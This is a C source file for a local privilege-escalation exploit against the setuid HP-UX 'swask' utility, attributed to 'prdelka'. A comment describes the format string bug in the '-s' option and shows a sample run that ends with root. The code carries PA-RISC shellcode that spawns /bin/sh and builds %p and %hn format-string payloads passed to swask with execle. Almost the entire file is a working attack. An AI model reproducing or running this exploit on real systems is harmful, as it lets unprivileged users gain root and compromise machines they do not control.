/* HP-UX swask format string local root exploit
 * ============================================
 * HP-UX 'swask' contains an exploitable format string 
 * vulnerability. The 'swask' utility is installed setuid
 * root by default. Specifically the vulnerability is in
 * the handling of the "-s" optional arguement which is
 * passed to a format function as verbatim.  
 *
 * Example.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ./prdelka-vs-HPUX-swask
 * [ HP-UX 11i 'swask' local root exploit
 * =======  01/20/06 10:19:49 EST  BEGIN swask SESSION (non-interactive)
 * <SNIP>
 * 
 * =======  01/20/06 10:19:50 EST  END swask SESSION (non-interactive)
 * 
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 * $
 *
 * - prdelka
 */

char shellcode[]=
     "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
     "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
     "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *d, *c, *b,*a,*envp;
        int i,pid;
  printf("[ HP-UX 11i 'swask' local root exploit\n");
  switch(pid = fork()){
    case -1:
      perror("fork");
    case 0:
            a=(char*)malloc(2048);
            memset(a,0,2048); 
            sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38); 
            for(i=0;i<103;i++) strcat(a,"%p");
      envp=0;
      execle("/usr/sbin/swask","swask","-s",a,0,envp);
      break;
    default:
      sleep(1);
      b=(char*)malloc(2048);
            memset(b,0,2048);
            for(i=0;i<102;i++) strcat(b,"%p");
      strcat(b,"%31799u%hn");
      a=(char*)malloc(2048);
      memset(a,0,2048);
      d=a;
      for(i=0;i<39;i++)strcat(a,"A");
      d+=39;
      for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
      envp=0;
      execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
  }
}